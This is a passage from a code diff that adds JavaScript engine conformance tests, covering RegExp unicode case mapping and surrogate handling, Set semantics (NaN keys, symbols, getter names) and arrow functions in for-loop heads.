+test(0x104ec,0x104c4);
+test(0x104ed,0x104c5);
+test(0x104ee,0x104c6);
+test(0x104ef,0x104c7);
+test(0x104f0,0x104c8);
+test(0x104f1,0x104c9);
+test(0x104f2,0x104ca);
+test(0x104f3,0x104cb);
+test(0x104f4,0x104cc);
+test(0x104f5,0x104cd);
+test(0x104f6,0x104ce);
+test(0x104f7,0x104cf);
+test(0x104f8,0x104d0);
+test(0x104f9,0x104d1);
+test(0x104fa,0x104d2);
+test(0x104fb,0x104d3);
+test(0x10c80,0x10cc0);
+test(0x10c81,0x10cc1);
+test(0x10c82,0x10cc2);
+test(0x10c83,0x10cc3);
+test(0x10c84,0x10cc4);
+test(0x10c85,0x10cc5);
+test(0x10c86,0x10cc6);
+test(0x10c87,0x10cc7);
+test(0x10c88,0x10cc8);
+test(0x10c89,0x10cc9);
+test(0x10c8a,0x10cca);
+test(0x10c8b,0x10ccb);
+test(0x10c8c,0x10ccc);
+test(0x10c8d,0x10ccd);
+test(0x10c8e,0x10cce);
+test(0x10c8f,0x10ccf);
+test(0x10c90,0x10cd0);
+test(0x10c91,0x10cd1);
+test(0x10c92,0x10cd2);
+test(0x10c93,0x10cd3);
+test(0x10c94,0x10cd4);
+test(0x10c95,0x10cd5);
+test(0x10c96,0x10cd6);
+test(0x10c97,0x10cd7);
+test(0x10c98,0x10cd8);
+test(0x10c99,0x10cd9);
+test(0x10c9a,0x10cda);
+test(0x10c9b,0x10cdb);
+test(0x10c9c,0x10cdc);
+test(0x10c9d,0x10cdd);
+test(0x10c9e,0x10cde);
+test(0x10c9f,0x10cdf);
+test(0x10ca0,0x10ce0);
+test(0x10ca1,0x10ce1);
+test(0x10ca2,0x10ce2);
+test(0x10ca3,0x10ce3);
+test(0x10ca4,0x10ce4);
+test(0x10ca5,0x10ce5);
+test(0x10ca6,0x10ce6);
+test(0x10ca7,0x10ce7);
+test(0x10ca8,0x10ce8);
+test(0x10ca9,0x10ce9);
+test(0x10caa,0x10cea);
+test(0x10cab,0x10ceb);
+test(0x10cac,0x10cec);
+test(0x10cad,0x10ced);
+test(0x10cae,0x10cee);
+test(0x10caf,0x10cef);
+test(0x10cb0,0x10cf0);
+test(0x10cb1,0x10cf1);
+test(0x10cb2,0x10cf2);
+test(0x10cc0,0x10c80);
+test(0x10cc1,0x10c81);
+test(0x10cc2,0x10c82);
+test(0x10cc3,0x10c83);
+test(0x10cc4,0x10c84);
+test(0x10cc5,0x10c85);
+test(0x10cc6,0x10c86);
+test(0x10cc7,0x10c87);
+test(0x10cc8,0x10c88);
+test(0x10cc9,0x10c89);
+test(0x10cca,0x10c8a);
+test(0x10ccb,0x10c8b);
+test(0x10ccc,0x10c8c);
+test(0x10ccd,0x10c8d);
+test(0x10cce,0x10c8e);
+test(0x10ccf,0x10c8f);
+test(0x10cd0,0x10c90);
+test(0x10cd1,0x10c91);
+test(0x10cd2,0x10c92);
+test(0x10cd3,0x10c93);
+test(0x10cd4,0x10c94);
+test(0x10cd5,0x10c95);
+test(0x10cd6,0x10c96);
+test(0x10cd7,0x10c97);
+test(0x10cd8,0x10c98);
+test(0x10cd9,0x10c99);
+test(0x10cda,0x10c9a);
+test(0x10cdb,0x10c9b);
+test(0x10cdc,0x10c9c);
+test(0x10cdd,0x10c9d);
+test(0x10cde,0x10c9e);
+test(0x10cdf,0x10c9f);
+test(0x10ce0,0x10ca0);
+test(0x10ce1,0x10ca1);
+test(0x10ce2,0x10ca2);
+test(0x10ce3,0x10ca3);
+test(0x10ce4,0x10ca4);
+test(0x10ce5,0x10ca5);
+test(0x10ce6,0x10ca6);
+test(0x10ce7,0x10ca7);
+test(0x10ce8,0x10ca8);
+test(0x10ce9,0x10ca9);
+test(0x10cea,0x10caa);
+test(0x10ceb,0x10cab);
+test(0x10cec,0x10cac);
+test(0x10ced,0x10cad);
+test(0x10cee,0x10cae);
+test(0x10cef,0x10caf);
+test(0x10cf0,0x10cb0);
+test(0x10cf1,0x10cb1);
+test(0x10cf2,0x10cb2);
+test(0x118a0,0x118c0);
+test(0x118a1,0x118c1);
+test(0x118a2,0x118c2);
+test(0x118a3,0x118c3);
+test(0x118a4,0x118c4);
+test(0x118a5,0x118c5);
+test(0x118a6,0x118c6);
+test(0x118a7,0x118c7);
+test(0x118a8,0x118c8);
+test(0x118a9,0x118c9);
+test(0x118aa,0x118ca);
+test(0x118ab,0x118cb);
+test(0x118ac,0x118cc);
+test(0x118ad,0x118cd);
+test(0x118ae,0x118ce);
+test(0x118af,0x118cf);
+test(0x118b0,0x118d0);
+test(0x118b1,0x118d1);
+test(0x118b2,0x118d2);
+test(0x118b3,0x118d3);
+test(0x118b4,0x118d4);
+test(0x118b5,0x118d5);
+test(0x118b6,0x118d6);
+test(0x118b7,0x118d7);
+test(0x118b8,0x118d8);
+test(0x118b9,0x118d9);
+test(0x118ba,0x118da);
+test(0x118bb,0x118db);
+test(0x118bc,0x118dc);
+test(0x118bd,0x118dd);
+test(0x118be,0x118de);
+test(0x118bf,0x118df);
+test(0x118c0,0x118a0);
+test(0x118c1,0x118a1);
+test(0x118c2,0x118a2);
+test(0x118c3,0x118a3);
+test(0x118c4,0x118a4);
+test(0x118c5,0x118a5);
+test(0x118c6,0x118a6);
+test(0x118c7,0x118a7);
+test(0x118c8,0x118a8);
+test(0x118c9,0x118a9);
+test(0x118ca,0x118aa);
+test(0x118cb,0x118ab);
+test(0x118cc,0x118ac);
+test(0x118cd,0x118ad);
+test(0x118ce,0x118ae);
+test(0x118cf,0x118af);
+test(0x118d0,0x118b0);
+test(0x118d1,0x118b1);
+test(0x118d2,0x118b2);
+test(0x118d3,0x118b3);
+test(0x118d4,0x118b4);
+test(0x118d5,0x118b5);
+test(0x118d6,0x118b6);
+test(0x118d7,0x118b7);
+test(0x118d8,0x118b8);
+test(0x118d9,0x118b9);
+test(0x118da,0x118ba);
+test(0x118db,0x118bb);
+test(0x118dc,0x118bc);
+test(0x118dd,0x118bd);
+test(0x118de,0x118be);
+test(0x118df,0x118bf);
+test(0x1e900,0x1e922);
+test(0x1e901,0x1e923);
+test(0x1e902,0x1e924);
+test(0x1e903,0x1e925);
+test(0x1e904,0x1e926);
+test(0x1e905,0x1e927);
+test(0x1e906,0x1e928);
+test(0x1e907,0x1e929);
+test(0x1e908,0x1e92a);
+test(0x1e909,0x1e92b);
+test(0x1e90a,0x1e92c);
+test(0x1e90b,0x1e92d);
+test(0x1e90c,0x1e92e);
+test(0x1e90d,0x1e92f);
+test(0x1e90e,0x1e930);
+test(0x1e90f,0x1e931);
+test(0x1e910,0x1e932);
+test(0x1e911,0x1e933);
+test(0x1e912,0x1e934);
+test(0x1e913,0x1e935);
+test(0x1e914,0x1e936);
+test(0x1e915,0x1e937);
+test(0x1e916,0x1e938);
+test(0x1e917,0x1e939);
+test(0x1e918,0x1e93a);
+test(0x1e919,0x1e93b);
+test(0x1e91a,0x1e93c);
+test(0x1e91b,0x1e93d);
+test(0x1e91c,0x1e93e);
+test(0x1e91d,0x1e93f);
+test(0x1e91e,0x1e940);
+test(0x1e91f,0x1e941);
+test(0x1e920,0x1e942);
+test(0x1e921,0x1e943);
+test(0x1e922,0x1e900);
+test(0x1e923,0x1e901);
+test(0x1e924,0x1e902);
+test(0x1e925,0x1e903);
+test(0x1e926,0x1e904);
+test(0x1e927,0x1e905);
+test(0x1e928,0x1e906);
+test(0x1e929,0x1e907);
+test(0x1e92a,0x1e908);
+test(0x1e92b,0x1e909);
+test(0x1e92c,0x1e90a);
+test(0x1e92d,0x1e90b);
+test(0x1e92e,0x1e90c);
+test(0x1e92f,0x1e90d);
+test(0x1e930,0x1e90e);
+test(0x1e931,0x1e90f);
+test(0x1e932,0x1e910);
+test(0x1e933,0x1e911);
+test(0x1e934,0x1e912);
+test(0x1e935,0x1e913);
+test(0x1e936,0x1e914);
+test(0x1e937,0x1e915);
+test(0x1e938,0x1e916);
+test(0x1e939,0x1e917);
+test(0x1e93a,0x1e918);
+test(0x1e93b,0x1e919);
+test(0x1e93c,0x1e91a);
+test(0x1e93d,0x1e91b);
+test(0x1e93e,0x1e91c);
+test(0x1e93f,0x1e91d);
+test(0x1e940,0x1e91e);
+test(0x1e941,0x1e91f);
+test(0x1e942,0x1e920);
+test(0x1e943,0x1e921);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-index.js b/js/src/tests/ecma_6/RegExp/unicode-index.js
new file mode 100644
index 000000000..a4b2eb203
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-index.js
@@ -0,0 +1,17 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- Pattern match should start from lead surrogate when lastIndex points corresponding trail surrogate.";
+
+print(BUGNUMBER + ": " + summary);
+
+var r = /\uD83D\uDC38/ug;
+r.lastIndex = 1;
+var str = "\uD83D\uDC38";
+var result = r.exec(str);
+assertEq(result.length, 1);
+assertEq(result[0], "\uD83D\uDC38");
+
+// This does not match to ES6 spec, but the spec will be changed.
+assertEq(result.index, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-lead-trail.js b/js/src/tests/ecma_6/RegExp/unicode-lead-trail.js
new file mode 100644
index 000000000..7ecdb9ace
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-lead-trail.js
@@ -0,0 +1,218 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- lead and trail patterns in RegExpUnicodeEscapeSequence.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/\uD83D\uDC38/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\uD83D\\uDC38", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("\\uD83D\\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== ? ====
+
+assertEqArray(/\uD83D\uDC38?/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38?/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\uD83D\uDC38?/u.exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38?/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/\uD83D\uDC38?/.exec(""),
+ null);
+
+assertEqArray(/\uD83D\uDC38?/.exec("\uD83D"),
+ ["\uD83D"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec(""),
+ [""]);
+
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec("\uD83D"),
+ [""]);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(new RegExp("\\uD83D\\uDC38?", "").exec(""),
+ null);
+
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "").exec("\uD83D"),
+ ["\uD83D"]);
+
+// ==== + ====
+
+assertEqArray(/\uD83D\uDC38+/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38+/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEq(/\uD83D\uDC38+/u.exec(""),
+ null);
+
+// lead-only target
+assertEq(/\uD83D\uDC38+/u.exec("\uD83D"),
+ null);
+assertEqArray(/\uD83D\uDC38+/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38+/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38+/.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/\uD83D\uDC38+/.exec("\uD83D"),
+ null);
+assertEqArray(/\uD83D\uDC38+/.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38\uDC38"]);
+assertEq(/\uD83D\uDC38+/.exec(""),
+ null);
+
+// ==== * ====
+
+assertEqArray(/\uD83D\uDC38*/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\uD83D\uDC38*/u.exec("\uD83D"),
+ [""]);
+assertEqArray(/\uD83D\uDC38*/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38*/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38\uDC38"]);
+assertEq(/\uD83D\uDC38*/.exec(""),
+ null);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\uD83D/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/\uD83D/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/\uD83D/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/\uD83D/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/\uD83D/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// no unicode flag
+assertEqArray(/\uD83D/.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uDC00"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uDFFF"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\uDC38/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/\uDC38/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/\uDC38/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/\uDC38/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/\uDC38/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uDC38/.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uD800\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDBFF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== invalid trail ====
+
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D\u3042\u3042"),
+ ["\uD83D\u3042\u3042"]);
+
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D\u3042\u3042"),
+ ["\uD83D\u3042\u3042"]);
+
+assertEqArray(/\uD83DA*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83DA*/u.exec("\uD83DA"),
+ ["\uD83DA"]);
+assertEqArray(/\uD83DA*/u.exec("\uD83DAA"),
+ ["\uD83DAA"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/\\u/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u000G/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u0.00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u000G/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u0.00/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-raw.js b/js/src/tests/ecma_6/RegExp/unicode-raw.js
new file mode 100644
index 000000000..37b572cd8
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-raw.js
@@ -0,0 +1,139 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- raw unicode.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(eval(`/\uD83D\uDC38/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(eval(`/\uD83D\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped (lead)
+assertEq(eval(`/\\uD83D\uDC38/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\\u{D83D}\uDC38/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (trail)
+assertEq(eval(`/\uD83D\\uDC38/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\uD83D\\u{DC38}/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/\\uD83D\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/\uD83D\\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== RegExp constructor ====
+
+assertEqArray(new RegExp("\uD83D\uDC38", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(new RegExp("\uD83D\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped(lead)
+assertEq(new RegExp("\\uD83D\uDC38", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("\\u{D83D}\uDC38", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(trail)
+assertEq(new RegExp("\uD83D\\uDC38", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("\uD83D\\u{DC38}", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(lead), no unicode flag
+assertEqArray(new RegExp("\\uD83D\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped(trail), no unicode flag
+assertEqArray(new RegExp("\uD83D\\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== ? ====
+
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec(""),
+ [""]);
+
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(eval(`/\uD83D\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\uD83D\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (lead)
+assertEq(eval(`/\\uD83D\uDC38?/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\\uD83D\uDC38?/u`).exec(""),
+ null);
+
+assertEqArray(eval(`/\\uD83D\uDC38?/u`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (trail)
+assertEq(eval(`/\uD83D\\uDC38?/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\uD83D\\uDC38?/u`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\\uDC38?/u`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/\\uD83D\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\\uD83D\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\\uD83D\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/\uD83D\\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\uD83D\\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// ==== RegExp constructor, ? ====
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec(""),
+ [""]);
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(new RegExp("\uD83D\uDC38?", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(new RegExp("\uD83D\uDC38?", "").exec(""),
+ null);
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "").exec("\uD83D"),
+ ["\uD83D"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Set/NaN-as-key.js b/js/src/tests/ecma_6/Set/NaN-as-key.js
new file mode 100644
index 000000000..8c9207e88
--- /dev/null
+++ b/js/src/tests/ecma_6/Set/NaN-as-key.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 722260;
+var summary = 'All NaNs must be treated as identical keys for Set';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/* Avoid constant-folding that would happen were |undefined| to be used. */
+var key = -/a/g.missingProperty;
+
+var s = new Set();
+s.add(key, 17);
+assertEq(s.has(key), true);
+assertEq(s.has(-key), true);
+assertEq(s.has(NaN), true);
+
+s.delete(-key);
+assertEq(s.has(key), false);
+assertEq(s.has(-key), false);
+assertEq(s.has(NaN), false);
+
+s.add(-key, 17);
+assertEq(s.has(key), true);
+assertEq(s.has(-key), true);
+assertEq(s.has(NaN), true);
+
+s.delete(NaN);
+assertEq(s.has(key), false);
+assertEq(s.has(-key), false);
+assertEq(s.has(NaN), false);
+
+s.add(NaN, 17);
+assertEq(s.has(key), true);
+assertEq(s.has(-key), true);
+assertEq(s.has(NaN), true);
+
+s.delete(key);
+assertEq(s.has(key), false);
+assertEq(s.has(-key), false);
+assertEq(s.has(NaN), false);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Set/browser.js b/js/src/tests/ecma_6/Set/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Set/browser.js
diff --git a/js/src/tests/ecma_6/Set/forEach-selfhosted-behavior.js b/js/src/tests/ecma_6/Set/forEach-selfhosted-behavior.js
new file mode 100644
index 000000000..37c87feef
--- /dev/null
+++ b/js/src/tests/ecma_6/Set/forEach-selfhosted-behavior.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 987243;
+var summary = "Don't use .call(...) in the self-hosted Set.prototype.forEach";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var functionCall = Function.prototype.call;
+
+function throwSyntaxError()
+{
+ throw new SyntaxError("Function.prototype.call incorrectly called");
+}
+
+function lalala() {}
+
+Function.prototype.call = throwSyntaxError;
+
+new Set().forEach(throwSyntaxError);
+new Set([1]).forEach(lalala);
+new Set([{}, 4]).forEach(lalala);
+
+Function.prototype.call = function() { this.add(3.141592654); };
+
+new Set().forEach(throwSyntaxError);
+new Set(["foo"]).forEach(lalala);
+new Set([undefined, NaN]).forEach(lalala);
+
+var callCount = 0;
+Function.prototype.call = function() { callCount++; };
+
+new Set().forEach(throwSyntaxError);
+new Set([new Number]).forEach(lalala);
+new Set([true, new Boolean(false)]).forEach(lalala);
+
+assertEq(callCount, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Set/getter-name.js b/js/src/tests/ecma_6/Set/getter-name.js
new file mode 100644
index 000000000..9a3e84fa4
--- /dev/null
+++ b/js/src/tests/ecma_6/Set/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'Set getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Set, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(Set.prototype, "size").get.name, "get size");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Set/shell.js b/js/src/tests/ecma_6/Set/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Set/shell.js
diff --git a/js/src/tests/ecma_6/Set/symbols.js b/js/src/tests/ecma_6/Set/symbols.js
new file mode 100644
index 000000000..364b3155c
--- /dev/null
+++ b/js/src/tests/ecma_6/Set/symbols.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var s = new Set;
+
+// Symbols can be stored in Sets.
+var sym = Symbol();
+s.add(sym);
+assertEq(s.has(sym), true);
+assertEq(s.has(Symbol()), false);
+assertEq([...s][0], sym);
+s.add(sym);
+assertEq(s.has(sym), true);
+assertEq(s.size, 1);
+s.delete(sym);
+assertEq(s.has(sym), false);
+assertEq(s.size, 0);
+
+// Symbols returned by Symbol.for() can be in Sets.
+var str = "how much wood would a woodchuck chuck if a woodchuck could chuck wood";
+var s2 = "how much wood would a woodchuck chuck if could";
+var arr = [for (word of str.split(" ")) Symbol.for(word)];
+s = new Set(arr);
+assertDeepEq([...s], [for (word of s2.split(" ")) Symbol.for(word)]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Statements/arrow-function-at-end-of-for-statement-head.js b/js/src/tests/ecma_6/Statements/arrow-function-at-end-of-for-statement-head.js
new file mode 100644
index 000000000..9043b818c
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/arrow-function-at-end-of-for-statement-head.js
@@ -0,0 +1,64 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "arrow-function-in-for-statement-head.js";
+var BUGNUMBER = 1302994;
+var summary =
+ "Don't assert when an arrow function occurs at the end of a declaration " +
+ "init-component of a for(;;) loop head";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function f1()
+{
+ for (var x = a => b; false; false)
+ {}
+}
+f1();
+
+function f2()
+{
+ for (var x = a => b, y = c => d; false; false)
+ {}
+}
+f2();
+
+function f3()
+{
+ for (var x = a => {}; false; false)
+ {}
+}
+f3();
+
+function f4()
+{
+ for (var x = a => {}, y = b => {}; false; false)
+ {}
+}
+f4();
+
+function g1()
+{
+ for (a => b; false; false)
+ {}
+}
+g1();
+
+function g2()
+{
+ for (a => {}; false; false)
+ {}
+}
+g2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Statements/arrow-function-in-for-statement-head.js b/js/src/tests/ecma_6/Statements/arrow-function-in-for-statement-head.js
new file mode 100644
index 000000000..4b636d3ac
--- /dev/null
+++ b/js/src/tests/ecma_6/Statements/arrow-function-in-for-statement-head.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "arrow-function-in-for-statement-head.js";
+var BUGNUMBER = 1163851;
+var summary =
